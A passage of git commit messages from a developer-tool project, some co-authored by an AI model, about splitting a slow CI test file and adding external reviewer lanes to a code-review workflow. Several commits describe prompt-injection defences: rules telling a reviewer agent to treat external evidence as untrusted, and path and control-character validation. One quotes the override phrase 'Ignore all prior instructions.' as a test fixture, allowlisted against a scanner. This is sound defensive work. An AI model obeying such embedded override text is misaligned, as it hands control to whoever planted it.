Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> Emitted-Drift-Ack-Growth: docs-update.md — swapped an illustrative example-table topic (testing -> contributing) to avoid a removed-but-needed basename collision with the deleted codebase/testing.md template; net +10 bytes * fix(#4406): split codex-config.test.cjs to fix a genuine Windows CI timeout Root cause of the `full test (windows-latest, 24, shard 2/3)` failure the user asked to be actually fixed, not just re-run past: PR #4497 (landed 2026-09-07, one day before this PR's CI run) isolated tests/codex-config.test.cjs into its own dedicated chunk because its measured weight (17.87, ~45% of the post-cut Windows budget) made it unsafe to share a chunk with any other file. That isolation was necessary but not sufficient — even alone, with zero companion-file contention, the file's real Windows execution time sits right at the 600s per-chunk ceiling. Two independent CI runs on two unrelated PRs (this one and #4154) were both killed within ~1.4s of the identical 600000ms mark — not random contention, a deterministic near-miss the isolation fix couldn't address because it never reduced the file's own cost, only removed the risk of a companion file's cost stacking on top of it (which the PR #4497 comment explicitly anticipated: "if a future profiling pass genuinely speeds up codex-config.test.cjs itself, this isolation can be revisited"). The file itself explains why it's this heavy: 11,262 lines / 433 tests / 79 describe blocks, accumulated over dozens of bug-fix PRs (#2695, #2760, #3245, #3285, #3346, #3426, #3427, #3562, #3566, #3582, #3808, and more), several of which are explicitly documented as "folded" in from separate files that were never actually split back out ("Verified non-duplicate against both the pre-existing target and the other three folded sources"). Split into 4 files by top-level AST statement boundaries (never a naive column-0 regex — an early attempt at that overcounted 79 apparent "describe(" matches when only 21 are genuinely top-level; the rest are nested inside a handful of large folded-in blocks, which a regex can't tell apart from real top-level statements). Verified lossless twice: the split script asserts byte-for-byte reconstruction of every source character, and independently, total test()/describe() call counts match exactly between the original file and the sum across all 4 new files (433/79 both sides). Each new file carries the complete original shared header (imports/helpers) for safety; per-file unused-import warnings from that duplication are resolved via ESLint-precise alias renames (`{ foo: _foo }`, the standard form for an intentionally-unused destructured binding — never a bare `{ _foo }`, which would destructure a different, nonexistent property). No change needed to scripts/run-tests.cjs's ISOLATED_HEAVY_FILES or its pinned test in tests/run-tests-harness.test.cjs: the file that keeps the original name (tests/codex-config.test.cjs) is now only ~28% of the original's size and safely isolated in its own chunk as before; the other three new files re-enter normal weight-balanced packing, none individually close to disproportionate. Confirmed no other file hardcodes the hardcoded filename anywhere that would silently stop these tests from running (the CI test-selection scripts determine scope algorithmically, not by literal filename).

Dennis Alexis Valin Dittrich	18c899def5	enhance(#4209 ): optional external source reviewer lanes for /gsd:code-review (#4323 ) * test(01-01): define reviewer-support trait contract Add failing coverage for step.supportsReviewerLanes (#4209 DISP-02): validator rejects non-boolean values with an exact field path, accepts missing/true/false, and the real code-review capability.json steps must declare supportsReviewerLanes: true. Add loop-resolver projection coverage proving the trait reaches activeHooks verbatim for a provider-neutral synthetic step (not code-review-specific), and that omitted/false values stay inert (no key on the active hook). All 8 new assertions fail today: the validator has no such field, and loop-resolver has nothing to project. RED before GREEN. * feat(01-01): declare reviewer-capable steps Add step.supportsReviewerLanes (#4209 DISP-02): a strict optional boolean opt-in trait, step-scoped (not capability-wide). Only a literal true validates and projects; false/omitted stay inert (no key on the projected active hook), and every non-boolean type fails capability-validator.cjs with an exact field-path error. Opt both existing code-review steps (execute:post, execute:wave:post) into the trait in capabilities/code-review/capability.json. Project the validated field through src/loop-resolver.cts into activeHooks so a provider-neutral generic interpreter can read it without any code-review-specific knowledge. Document the field in docs/reference/capability-manifest.md and regenerate gsd-core/bin/lib/capability-registry.cjs via the generator (never hand-edited). Makes all 8 RED assertions from the prior commit pass. * test(01-02): define shared reviewer dispatch - Add tests/reviewer-step-dispatch.test.cjs covering dispatchReviewerLanes: inert when the supportsReviewerLanes trait is off or nothing is selected, exactly-once plan/invoke per selected lane, duplicate-alias dedup, the bounded metadata-only source-review prompt (repo root, paths+baseSha, depth, four fixed prohibitions), and capability-neutral reuse via a second synthetic step context. - RED: module under test (src/reviewer-step-dispatch.cts) does not exist yet, so require() fails and every assertion is unreached. * feat(01-02): dispatch reviewers for opted-in steps - Add src/reviewer-step-dispatch.cts: dispatchReviewerLanes(input, deps), ONE interpreter for a step's supportsReviewerLanes trait. Reuses resolveReviewerSelection for selection and resolveLanePlan for planning (both already-existing, pure building blocks); invocation is the one required, caller-injected seam (deps.invoke) since runLane needs OS-aware spawn plumbing this module does not own. - trait !== true, or a selection resolving to zero lanes, dispatches nothing (zero plan/invoke calls). Each selected lane is planned and invoked exactly once, in the selector's deduped/sorted order. - buildSourceReviewPrompt assembles a metadata-only bounded prompt (repo root, canonical paths + base SHA, depth, four fixed prohibitions) — never file contents — written once per dispatch and shared across every invoked lane. - GREEN: tests/reviewer-step-dispatch.test.cjs now passes. * test(01-02): define reviewer dispatch failures - Extend tests/reviewer-step-dispatch.test.cjs with the fail-closed matrix: an explicitly requested lane the selector could not resolve still lets the OTHER resolved lane run, but the aggregate result must never read as a clean success (and 'every explicit lane unavailable' must be distinguishable from the plain no-flags-passed inert case); request-level validation (path traversal, absolute paths outside repoRoot, empty/non-string paths, missing depth/base SHA) halts the whole dispatch before any lane is planned or invoked; a per-lane prompt-budget overflow hard-fails only that lane before invoke while its sibling still runs. - RED: src/reviewer-step-dispatch.cts does not yet implement any of these guards, so 9 of the new assertions fail against the current (Task 1) implementation. * fix(01-02): fail closed in reviewer dispatch - src/reviewer-step-dispatch.cts: add the fail-closed guards the prior commit deliberately left out. An explicitly requested lane the selector could not resolve no longer lets the aggregate read as a clean success — lanes that DID resolve still run and keep their results (never narrow the requested set), but selection.errors now flips the aggregate ok to false, and 'every explicit lane unavailable' is now distinguishable (SELECTION_FAILED) from the plain no-flags-passed inert case (NO_LANES_SELECTED). - Add request-level validation (validatePaths, depth/baseSha presence) that halts the WHOLE dispatch before any lane is planned or invoked: path traversal, absolute paths outside repoRoot, empty/non-string paths, and missing provenance are all rejected up front. - Add per-lane prompt-budget enforcement (resolveBudget, mirroring gsd-tools.cjs's budgetFor convention including budget 0 = unbounded): a lane whose resolved budget the prompt exceeds hard-fails before invoke runs for it, without cancelling a sibling lane already planned. - Document the supportsReviewerLanes trait and its dispatch-step interpreter in gsd-core/references/loop-hook-dispatch.md. - GREEN: all 19 tests in tests/reviewer-step-dispatch.test.cjs pass; no regressions in the review-lane/reviewer-selection/prompt-budget suites (356 passing). * test(01-03): define optional source reviewer flow RED: assert code-review.md dispatches roster-derived reviewer-lane flags through a single review-lane dispatch-step call (DISP-01..05), that the no-flag path stays byte-for-behavior unchanged (COMP-01), and that external evidence reaching the internal reviewer prompt is marked unverified (CONS-02). Also covers the CLI contract directly: no-op with no explicit selection, and fail-closed on an explicit unknown lane (SAFE-07) via real gsd-tools.cjs subprocess calls. * feat(01-03): route optional source reviewers GREEN: code-review.md gains a dispatch_reviewer_lanes step that matches canonical reviewer-lane flags against the merged first-party + installed roster (never a hand-maintained list) and, only when at least one is present, calls the shared reviewer-step interpreter exactly once with the already-resolved repo root, file scope, depth, and base SHA. Its evidence paths are appended to the internal reviewer prompt via ${EXTERNAL_EVIDENCE_BLOCK}, explicitly marked unverified. No reviewer-lane flag leaves the internal-only dispatch byte-for-behavior unchanged (COMP-01). Deviation (Rule 3 — blocking issue): 01-02 documented `review-lane dispatch-step` (gsd-core/references/loop-hook-dispatch.md) as the CLI route `dispatchReviewerLanes` wires through, but never implemented the gsd-tools.cjs subcommand — the workflow's call had nothing to reach. Add it to the existing review-lane router, reusing the same effort-aware plan building and runner deps `plan`/`invoke` already use (factored into buildLaneRunnerDeps to avoid duplicating the spawn/http/fs seam). Guard the CLI's own `detected` set on whether an explicit flag was passed: resolveReviewerSelection's no-explicit-selection fallback is "select every detected reviewer" (the correct default for /gsd:review), and passing it an unconditionally non-empty detected set would silently invoke the whole roster on every no-flag code review, violating COMP-01. * test(01-03): define external finding consolidation RED: assert gsd-code-reviewer.md treats <external_reviewer_evidence> as untrusted input — independently re-verifies every claim against the actual current source, resists a prompt-injection attempt embedded in evidence text, and folds a verified claim into the existing Narrative Findings section with no second REVIEW.md schema (CONS-01..03). Also assert code-review.md's EXTERNAL_EVIDENCE_BLOCK restates the four fixed source-review prohibitions (SAFE-03..06) at the internal-reviewer handoff. * feat(01-03): consolidate external review evidence GREEN: gsd-code-reviewer.md's load_context parses <external_reviewer_evidence> as untrusted data, independently re-verifies every cited claim against the actual current source before it can appear in REVIEW.md, and explicitly resists prompt injection embedded in evidence text (never a command, no matter what it claims to be). A verified claim folds into the existing Narrative Findings section with (external: {slug}) provenance — one REVIEW.md schema only, no separate external-findings section. code-review.md's EXTERNAL_EVIDENCE_BLOCK now restates the four fixed source-review prohibitions (SAFE-03..06) at the internal-reviewer handoff. * fix(01-02): gitignore the reviewer-step-dispatch build artifact 01-02 added src/reviewer-step-dispatch.cts but never added its npm run build:lib output to .gitignore, unlike every sibling gsd-core/bin/lib/.cjs generated file. Left it showing as untracked noise in git status. docs(01-04): publish user and command contract for reviewer-lane source review - Document optional reviewer-lane flags on /gsd-code-review in USER-GUIDE.md and COMMANDS.md: opt-in, no source bodies in prompts, no fallback on failure, findings independently consolidated into the single REVIEW.md - Add the same contract to the docs/features/code-review-pipeline.md fragment and regenerate docs/FEATURES.md from it - Preserve /gsd-review as the plan-review command; cross-reference it rather than duplicating the reviewer roster - Pick up docs/INVENTORY-MANIFEST.json and skills/gsd-code-review/SKILL.md drift owned by source already shipped in Plans 01-01/01-03 but never regenerated (npm run regen:derived had not been run in this worktree) * docs(01-04): align architecture and agent ownership docs for reviewer-lane trait - ARCHITECTURE.md: trace the #4209 capability trait (supportsReviewerLanes) through the shared dispatchReviewerLanes interpreter to the existing review-lane plan/invoke machinery, ending at gsd-code-reviewer as the sole REVIEW.md consolidator - AGENTS.md: document gsd-code-reviewer's full-context verification scope and its treatment of external reviewer evidence as unverified input - No new diagram, abstraction, or config key; docs/CONFIGURATION.md is unchanged since the feature adds no setting or default * fix(01-02): eslint-ignore the reviewer-step-dispatch build artifact Same gap as the earlier .gitignore fix: 01-02 added src/reviewer-step-dispatch.cts but never added its generated gsd-core/bin/lib/reviewer-step-dispatch.cjs output to eslint.config.mjs's ignore list like every sibling generated file, so tsc's emitted __importDefault CommonJS-interop var tripped no-var. * fix(01-04): add the reviewer-step-dispatch.cjs roster row to docs/INVENTORY.md 01-04 regenerated docs/INVENTORY-MANIFEST.json (which now lists cli_modules/reviewer-step-dispatch.cjs) but the hand-written roster row in docs/INVENTORY.md — required by design, since a role sentence cannot be generated — was never added. * fix(01-01): update the code-review capability-step fixture for supportsReviewerLanes refactor-trigger-cli.test.cjs's preservesCodeReviewHookShapeAlongsideRefactorHook strict-deep-equals the code-review step's exact shape at execute:post; 01-01 added supportsReviewerLanes: true to that step and this fixture was not updated. * chore(01-03): acknowledge emitted-doc growth for code-review.md and gsd-code-reviewer.md Both files grew as a direct, intended consequence of wiring optional reviewer lanes into /gsd:code-review (the new dispatch_reviewer_lanes step and the untrusted-evidence consolidation contract) — not incidental drift.

Refs: gsd-core-dks.16, gsd-core-dks.17 * fix(01-05): close WR-01/WR-02/IN-01/IN-02 from internal review - WR-01: dispatched now tracks whether any lane actually reached plan(), not results.length — an unresolvable selected slug no longer reports dispatched:true. - WR-02: plan()/writePromptFile()/invoke() wrapped per-lane so a throw for one lane can never discard results already collected for a sibling lane, matching the same guard gsd-tools.cjs already has around the identical resolveLanePlan call. - IN-01: documents the intentional budget===0-is-unbounded convention (#2797) the caller already relies on. - IN-02: review-lane dispatch-step no longer blocks indefinitely on an un-piped interactive TTY; fails closed to empty paths instead. Refs: gsd-core-dks.16, gsd-core-dks.17 * docs(01-05): add changeset fragment for PR #17 * fix(01-03): allowlist prompt-injection-scan false positive on the untrusted-evidence contract agents/gsd-code-reviewer.md's untrusted-evidence section and its pinning regression test both quote injection phrases as the exact attack they defend against/detect — same DEFECT.PROMPT-INJECTION-SCAN-COLLISION class as the existing allowlist entries, not an actual injection vector. * test(01-05): extend WR-02 coverage to writePromptFile/invoke throws; DIFF_BASE-empty skip From CodeRabbit review: WR-02's earlier fix only wrapped plan() — writePromptFile()/deps.invoke() still ran unguarded, so a throw there still aborted every later selected lane. Also covers the dispatch_reviewer_lanes DIFF_BASE-empty-provenance gap (explicit lanes silently not running when no prior review and no phase-start commit exist). * fix(01-05): skip dispatch_reviewer_lanes with a clear warning when DIFF_BASE cannot be resolved Previously an explicit reviewer-lane request with no prior review and no resolvable phase-start commit reached dispatch-step with an empty --base-sha, which fails closed via missing_provenance — correct, but silent about why explicitly requested lanes didn't run. Now skip dispatch entirely in that case with a stderr warning naming the actual cause. * fix(01-05): wrap writePromptFile/invoke in the same per-lane try/catch as plan() WR-02's original fix only guarded plan() — a throw from writePromptFile() or deps.invoke() still aborted the whole dispatch, discarding results already collected for lanes processed earlier in the loop. CodeRabbit caught the gap; WR-02b/WR-02c pin it. * fix(01-05): WR-02b mock must throw only on the first writePromptFile() call The committed mock threw unconditionally, so codex's retry also threw and failed for the same reason as claude's — the test could not distinguish 'sibling still runs' from 'sibling also breaks'. Gate the throw to the first call, matching WR-02/WR-02c's single-failure intent. * fix(#4209): close review findings from adversarial + critical-code-reviewer pass Two independent reviews (agy adversarial review, Opus critical-code-reviewer + ponytail) found 6 Blocking and 7 Required issues in the reviewer-lane dispatch wiring around dispatchReviewerLanes. All 13 tracked in gsd-core-dks.18-30 and fixed here: - dispatch-step's reducer silently swallowed whole-dispatch rejections (invalid paths, missing provenance, etc); it now checks parsed.ok/reason. - spawn_reviewer recomputed its own stale DIFF_BASE, diverging from the LAST_REVIEW_COMMIT-aware value dispatch_reviewer_lanes uses on re-review; now shares the single compute_file_scope derivation. - the external reviewer prompt had no actual review request or citation requirement, only prohibitions; added both. - removed the supportsReviewerLanes trait plumbing (capability registry, validator, loop-resolver, docs, tests) — it was never consulted by the real dispatch path, which gates on explicit CLI flags instead. - flag-resolution require() was a fragile cwd-relative literal that failed silently on non-vendored installs; now resolves via GSD_TOOLS's own directory and warns instead of swallowing failure. - reducer didn't unwrap the @file: overflow protocol for large payloads. - deduplicated resolveBudget/budgetFor into one resolveLaneBudget. - lane artifacts now write to a mktemp run dir instead of $PHASE_DIR, so a second dispatch can't overwrite prior evidence. - validatePaths rejects control characters, closing a markdown-injection vector into the external prompt via crafted filenames. - reworded the one line that tripped prompt-injection-scan.sh instead of allowlisting the whole production prompt file. - fixed a stale docstring range and a dispatched-field ordering bug. - added 3 integration tests executing the actual reducer against synthetic dispatch-step JSON, replacing markdown-substring-only assertions. 771/771 tests pass across every touched suite; tsc --noEmit clean. * fix(#4209): wire supportsReviewerLanes as the maintainer's required reusable trait The maintainer's approval on issue #4209 explicitly redirected implementation shape: reviewer-lane dispatch must be a reusable capability/step-dispatch trait ("supportsReviewerLanes"), not code-review.md hand-wiring the call itself. My previous commit (e2558326) deleted that trait entirely after finding it declared-but-never-consulted, which was backwards — the fix was to wire it, not remove it. Restores the trait (capability.json, generated registry, validator, loop-resolver.cts, docs, tests) and wires it for real: dispatch_reviewer_lanes now resolves its own active hook via `gsd_run loop render-hooks` for the configured workflow.code_review_point and only proceeds to CLI-flag matching when supportsReviewerLanes reads true. Explicit flags no longer bypass the trait; a matching flag with the trait false resolves zero slugs (proven by a new integration test executing the real fence with both trait states). Emitted-Drift-Ack-Growth: gsd-core/workflows/code-review.md — the dispatch_reviewer_lanes step grows a trait-resolution fence (#4209 maintainer redirect requires the capability layer, not the workflow, own the opt-in decision). * fix(#4209): dispatch-step self-verifies the reviewer-lane trait via --cap-id/--point Both an agy adversarial review and an Opus critical-code-reviewer pass independently found the same gap in my previous commit (9b2c3773d): the trait check I wired into code-review.md only protected code-review's OWN invocation — gsd-tools.cjs's dispatch-step handler still hardcoded `trait: true` unconditionally, so a second capability declaring supportsReviewerLanes would get zero enforcement from the shared CLI unless it correctly re-implemented the ~15-line render-hooks scrape itself. That is exactly the "each workflow.md hand-wiring the call" the maintainer's redirect said to eliminate. Moves the trait check into dispatch-step itself: given --cap-id/--point, it self-invokes `loop render-hooks <point>` (relocating the one subprocess code-review.md used to spawn for this, not adding a new one) and derives the real trait from that capId's active hook, rather than trusting a caller-passed boolean. code-review.md now only passes --cap-id code-review --point "$CODE_REVIEW_POINT" and no longer resolves or gates on the trait itself — the ~20-line scrape it previously carried is gone. Any other capability opts into the identical enforcement by declaring the trait and passing the same two flags. Replaced the two tests that stipulated SUPPORTS_REVIEWER_LANES as an input variable (they proved a bash branch honors a variable, not that the variable reflects the real capability manifest) with three integration tests that invoke the real dispatch-step CLI against the real first-party capability registry: the real code-review trait resolves true, an unknown --cap-id resolves false (trait_not_enabled, fail-closed), and omitting --cap-id/--point entirely resolves false (no context means no opt-in). Also: reject \x7f/U+2028/U+2029 in validatePaths' control-character check (agy-F1 was incomplete), and delete the promptWritten per-lane coupling flag — the prompt write is idempotent, so writing it once per lane instead of gating on "did any lane write it yet" removes a latent bug where a deps.plan override that ever varies promptPath per lane would silently skip writing for a later lane. Emitted-Drift-Ack-Growth: gsd-core/workflows/code-review.md — net line count drops (the trait scrape moved into dispatch-step), but the file still grew this session across multiple commits; acknowledging per the growth-tracking convention. * fix(#4209): remove per-run token waste from the shipped prompts Runtime prompt content, not session tokens: two real, per-invocation token costs in the code that ships. 1. agents/gsd-code-reviewer.md's critical_rules restated nearly all of load_context step 5's ~180-word untrusted-evidence contract in ~90 more words, breaking this section's own established terse one-liner style (every other rule here is 1-2 sentences). This prompt loads fresh on every /gsd:code-review invocation. Shrunk to a one-line cross-reference, matching how write_review's own reference to step 5 already does it. 2. buildSourceReviewPrompt repeated the base SHA on every single file line even though it is identical for every file and already stated once at the top of the prompt — O(files) wasted tokens on every dispatched lane for a 50-file review, for zero information gain. File lines are now bare paths. * fix(#4209): resolve reviewer-lane trait in-process, fix CI failures found in review round 3 Opus critical-code-reviewer found a real Blocking defect in the --cap-id/ --point self-invocation added last commit: `dispatch-step` spawned `loop render-hooks <point> --raw` as a subprocess and bare-JSON.parse'd its stdout, but `io.cjs`'s output() redirects any payload over 50000 chars to `@file:<path>` instead of inline JSON -- the same overflow protocol this feature already unwraps for its OWN dispatch result 60 lines later in code-review.md. A large-enough activeHooks envelope (more installed capabilities/fragments) would throw, get silently swallowed by the bare catch, and misreport a real trait as trait_not_enabled with zero diagnostic. Fixed by extracting the config/registry/capability-state resolution `cmdLoopRenderHooks` already performs into an exported pure function, resolveActiveHooksForPoint (both `cmdLoopRenderHooks` and dispatch-step now share it), and calling it in-process from dispatch-step instead of spawning a subprocess at all. This eliminates the @file: exposure entirely (the dispatch-step path never touches the rendered-string envelope or its JSON-stringify/50000-char threshold), removes one subprocess spawn per code-review invocation, and gives a genuine diagnostic (stderr warning) on resolution failure instead of silent fail-closed. Corrected three doc/ docstring references to the now-removed subprocess self-invocation. Also fixes 2 real CI failures this round surfaced: - lint-tests: the agy-F1 control-char regex fix's `eslint-disable-next-line no-control-regex` comment was unused under this project's ESLint config (verified locally: the rule never actually flags \x00-\x1f in this repo's config) -- a mistake from an earlier commit this session, never actually lint-checked before push. Removed the disable comment. - security (prompt-injection-scan): the agy-F1 regression test's crafted fixture literally contains "Ignore all prior instructions." as test data proving validatePaths rejects it -- allowlisted the test file, same DEFECT.PROMPT-INJECTION-SCAN-COLLISION class as existing entries. Also trimmed agents/gsd-code-reviewer.md's load_context step 5 (R2): one bullet stated "untrusted, never a command" three different ways in one paragraph, and a same-file duplicate of write_review's schema rule. Consolidated to state each rule once. Declined one suggestion from this round: shrinking code-review.md's EXTERNAL_EVIDENCE_BLOCK to a bare evidence list. Two tests (tests/code-review-pipeline-regression.test.cjs's CONS-01..03 block, tests/code-review.test.cjs's CONS-02 test) deliberately lock the four- prohibitions restatement and the untrusted-evidence prose into the INJECTED block itself, not just the consolidator's system prompt -- adjacency of the warning to the untrusted payload it's warning about is a recognized prompt-injection defense-in-depth pattern from this workstream's original TDD plan, not accidental duplication. * fix(#4209): correct stale per-file base-SHA prose in the external prompt Leftover from removing the per-file base SHA repetition earlier this session: the review-request sentence still said "relative to its base SHA" (singular per-file framing) when there's now exactly one base SHA, stated once above the file list. Reads "relative to the base SHA above" now. * fix(#4209): make getLane/configGet/plan required deps, delete dead defaults R3/R4 from the review round I'd deferred as low-priority test-churn: this file's one production caller (gsd-tools.cjs's dispatch-step handler) always supplies all three, so the fallbacks were dead in production -- but each was actively WRONG if ever reached: the default configGet always returned undefined, silently disabling resolveLaneBudget's overflow guard; the default getLane looked up only first-party REVIEWER_LANES, diverging from production's overlay-merged roster; the default plan skipped per-host effort resolution entirely. These defaults were introduced by this PR's own earlier work (this file did not exist before #4209 -- first commit a760bfcda, 01-02), not inherited from elsewhere, so there's no external caller depending on the lenient contract. Turned out free to fix: making the three deps required and deleting defaultGetLane/defaultPlan needed zero test changes -- every existing test that actually reaches the per-lane loop already supplies getLane/plan explicitly, and configGet's only real dependent (the budget-overflow tests) already supplies it too. 788/788 tests pass unchanged, tsc/lint clean. * fix(#4209): define depth semantics for the external reviewer lane Verified this was a real bug, not a match to existing convention as I'd claimed when declining the suggestion earlier this session: the internal gsd-code-reviewer agent's own system prompt carries a full <depth_levels> block defining what quick/standard/deep mean and do (agents/gsd-code- reviewer.md:68-99). The external reviewer lane has no access to that persona at all -- it only ever sees buildSourceReviewPrompt's bounded text, which sent the bare depth label with zero definition to a third-party CLI with no other source of truth for what "standard" means. Added depthMeaning(), condensed from the internal reviewer's own <depth_levels> definitions so the two stay consistent, and interpolated it into the review-request sentence. 150/150 tests pass, tsc/lint clean. * fix(#4209): merge dispatch_reviewer_lanes' split fences into one shell invocation CR-01 (Opus critical-code-reviewer, confirmed by direct execution): the roster-matching fence set EXPLICIT_JOINED/EXPLICIT_REVIEWER_SLUGS, and a SEPARATE later fence read them via ${#EXPLICIT_REVIEWER_SLUGS[@]} to decide whether to dispatch at all. This file's own documented rule (its depth-resolution guard, stated explicitly a few hundred lines earlier) is that a guard and the extraction it protects must run as one shell control-flow decision, because markdown-fenced blocks do not share shell state -- this step violated its own file's rule for the entire feature's gating condition. Merged the roster-resolution fence and the dispatch-decision fence into one continuous bash block, removing the intervening prose that split them. Fixed the stderr-based failure detection in the same edit (RQ-01: checking whether stderr is non-empty misfires on any benign Node warning; now checks the actual exit status of the roster-resolution command). Verified by extracting the merged fence and executing it standalone, driving both branches: --codex resolves EXPLICIT_JOINED=codex, SLUGS_COUNT=1, and a real dispatch-step call succeeds; no flags resolves EXPLICIT_JOINED empty, SLUGS_COUNT=0, dispatch-step never invoked (COMP-01). 141/141 workflow tests pass, tsc/lint clean. * fix(#4209): depthMeaning accuracy, injection defense on all embedded fields, hoisted prompt write Batch of Required/Suggestion fixes from the Opus critical-code-reviewer + writing-for-agents pass: - CR-02/CR-03: depthMeaning() dropped real categories from quick (empty catch blocks, commented-out code) and deep (error propagation, state mutation consistency, circular dependencies) relative to the real <depth_levels> block, and had zero test coverage. Restored full accuracy and added tests that read the real agents/gsd-code-reviewer.md file directly, so drift between the two can't recur silently. Unrecognised depth now normalizes to standard's definition, matching that agent's own documented rule, instead of rendering an undefined bare label. - RQ-04: depth/baseSha/repoRoot/runDir land in the same markdown prompt `paths` does, but weren't checked for control characters like paths were (agy-F1's original finding). Hoisted CONTROL_CHAR to module scope and applied it to all four fields at the same provenance-check boundary. runDir previously had zero validation at all. - S1: deleted the dead `identity` parameter on `invoke` -- the one production caller already ignores it, no test read it by name. - S2: hoisted the shared prompt write above the per-lane loop -- promptPath is derived from runDir alone (constant across lanes by construction), so writing it once is both correct and cheaper than the per-lane write R1 introduced earlier this session. Discovered and fixed a real regression from the naive version of this hoist: an unguarded throw would have escaped dispatchReviewerLanes as an uncaught exception instead of a clean per-lane failure. Added a new PROMPT_WRITE_FAILED whole-dispatch reason, matching the existing validatePaths/MISSING_PROVENANCE halt pattern, with a dedicated regression test. - S3: moved `planned = true` past the budget-overflow gate, so `dispatched` only reports true once a lane has cleared BOTH plan and budget checks. - S5: relayed gsd-code-reviewer.md's own "performance issues are out of scope unless also correctness issues" policy into the external-lane prompt, which previously had no such guidance and could return findings the internal reviewer's own contract excludes. - RQ-05 (partial): shrunk this file's own header docstring's restatement of the trait-reuse architecture to a pointer at gsd-core/references/loop-hook-dispatch.md, the canonical home. 234/234 tests pass across the full reviewer-lane test suite, tsc/lint clean. * fix(#4209): dedupe roster-merge logic, consolidate trait architecture prose, add step completion criterion RQ-02: added a `review-lane explicit-from-argv` subcommand that reuses the SAME merged-roster logic (`laneBySlug`) `dispatch-step`/`plan`/`invoke` already share. code-review.md's ~18-line inline `node -e` reimplementing `loadRegistry`+`mergeReviewerLanes` (a rename-only copy of the block in gsd-tools.cjs) is now a single call to this subcommand -- the exact violation code-review-flags.cjs's own header warns against ("this is the canonical flag-parsing surface -- do not replicate inline bash parsing"). RQ-03: an empty --cap-id XOR --point now warns distinctly from the legitimate no-context opt-out (both absent) -- a caller that named a capability without its point was silently indistinguishable from a correct opt-out. Also hardened the CODE_REVIEW_POINT config-get fallback: it only ever fires when the config-get COMMAND ITSELF fails (config-get already resolves the manifest's own schema default in the normal case), but that failure was previously silent. RQ-05/W-01/W-12/W-13: the "supportsReviewerLanes is a reusable trait resolved inside dispatch-step" explanation was restated in full in 5 places across this session's own review cycles. Consolidated to ONE canonical statement in gsd-core/references/loop-hook-dispatch.md; the other 4 (this file's own header, gsd-tools.cjs's comment, docs/ARCHITECTURE.md, code-review.md's step-opening comment) now point at it instead. W-05/W-06: loop-hook-dispatch.md described "false or non-boolean" as two inert cases when capability-validator.cjs already rejects non-boolean at load -- restated as the two cases that actually reach this code. Removed a "do not hand-roll trait resolution" prohibition whose target no longer exists once the positive description precedes it. W-04: deleted a no-op sentence in agents/gsd-code-reviewer.md ("missing block means proceed as normal") -- an absent optional block already means proceed as normal without being told. W-08/W-09: replaced longhand "zero selection/plan/invoke calls" and the made-up compound "byte-for-behavior [un]changed" with the token this session's own docs already coined for this concept (inert) and the word that means what byte-for-behavior was reaching for (unchanged). W-10: dispatch_reviewer_lanes had no completion criterion -- added one sentence naming the checkable end state (EXTERNAL_EVIDENCE_BLOCK is set, either populated or empty). This exact sentence would have caught the cross-fence bug fixed two commits ago at authoring time. Declined from this round, with reasoning: W-02/W-03 (trim the untrusted-evidence restatement in EXTERNAL_EVIDENCE_BLOCK/critical_rules) -- two tests deliberately lock this as intentional adjacency-based prompt-injection defense-in-depth, not accidental duplication (see this branch's own earlier commit). S4 (wrap LANE_RUN_DIR in a creation-site `trap ... EXIT`) -- would fire at the end of the CREATING fence, before spawn_reviewer's agent ever reads the evidence files, given this file's own documented fenced-block execution model; the existing named cross-reference between creation and cleanup already satisfies the co-location concern without introducing that regression. 853/853 tests pass across the full reviewer-lane test suite, tsc/lint clean. * fix(#4209): merge CODE_REVIEW_POINT into dispatch_reviewer_lanes' one fence, stop test from spawning real codex Round-5 review (agy) found the same cross-fence-split bug CR-01 already fixed for EXPLICIT_JOINED/EXPLICIT_REVIEWER_SLUGS: CODE_REVIEW_POINT's config-get fallback lived in an earlier, separate fence from the fence that consumes it via --point, split only by prose (not a guard, per this step's own documented rule). Merged into the single continuous fence and added a structural test asserting exactly one bash fence in the step. The new end-to-end regression test for this used --codex, which drives the fence's real `review-lane dispatch-step` call and, with the codex binary present on PATH, spawns the real external CLI — which then blocks on interactive auth with no stdin (BL-01). Stubbed gsd_run for `review-lane dispatch-step` only (captures argv instead of executing), keeping the real config-get/explicit-from-argv calls the test is actually about. * fix(#4209): split control-char vs missing provenance reason, realpath-check path escapes, stale comment Round-5 review (Opus) warning-tier findings: - WR-04: MISSING_PROVENANCE covered both "field absent" and "field present but a control-character injection attempt" — a caller distinguishing a config problem from a security event couldn't tell them apart. Split into MISSING_PROVENANCE (absent) and INVALID_PROVENANCE (present but invalid). - WR-05: validatePaths' containment check was lexical only (path.resolve), so a symlink whose own path sits inside repoRoot could still point outside it. Added an fs.realpathSync check (ENOENT-tolerant — a git-diff path can legitimately name a file already deleted in a stale worktree), realpathing repoRoot itself too so a symlinked repoRoot (e.g. /tmp on macOS) doesn't false-positive-reject its own real children. - WR-08: a comment in the per-lane loop still said a throwing writePromptFile() was caught there — stale since the prompt write was hoisted above the loop in an earlier round. WR-03 (validate depth against the quick/standard/deep enum) was considered and declined: this dispatcher is deliberately capability-neutral (see the existing "synthetic step context" test, which passes a non-code-review depth label on purpose to prove no code-review-specific special-casing exists). WR-01 (double registry load), WR-02 (trim-vs-hard-fail budget semantics), and WR-07 (reason omitted on the aggregate return) were verified against source and are not bugs — see review notes. * docs(#4209): document LANE_RUN_DIR's early-exit trade-off as accepted, not a gap Round-5 review (Opus, BL-03) flagged that an early exit between dispatch_reviewer_lanes and commit_review leaks the run-scoped temp dir. A trap-based cleanup was considered and rejected: if a step genuinely runs as a separate process, a trap set at creation time would fire at the end of that SAME fence, deleting the directory before spawn_reviewer/commit_review ever read it — worse than the leak it would fix. review.md's own gather_context/cleanup pair for the identical resource class (a run-scoped reviewer temp dir) already makes and documents this exact trade-off: cleanup runs only on a documented success path, and a leftover $TMPDIR entry is explicitly called cheaper than destroyed evidence. Recording that precedent here so this isn't re-raised as a live gap in a future review. * fix(#4209): register the WR-05 symlink-escape test's synthetic docs/ path reviewer-step-dispatch.test.cjs's "capability-neutral reuse" fixture passes paths: ['docs/spec.md'] as a synthetic, never-read path proving the dispatcher has no code-review-specific special-casing. lint-docs-guard- registration correctly flagged this as an unregistered docs/ path reference — add the docs-guard-exempt marker and its pinned baseline entry, the same pattern every other synthetic docs/ literal in this test suite already uses. * fix(#4209): backfill changeset pr: field with the real upstream PR number changeset-lint's fail_pr_field_drift caught the fragment still pointing at the fork PR (17) instead of the upstream one (open-gsd/gsd-core#4323) this branch is now also open against. * docs(#4209): amend ADR-2782 for the supportsReviewerLanes step-trait seam trek-e's review (2026-09-07, 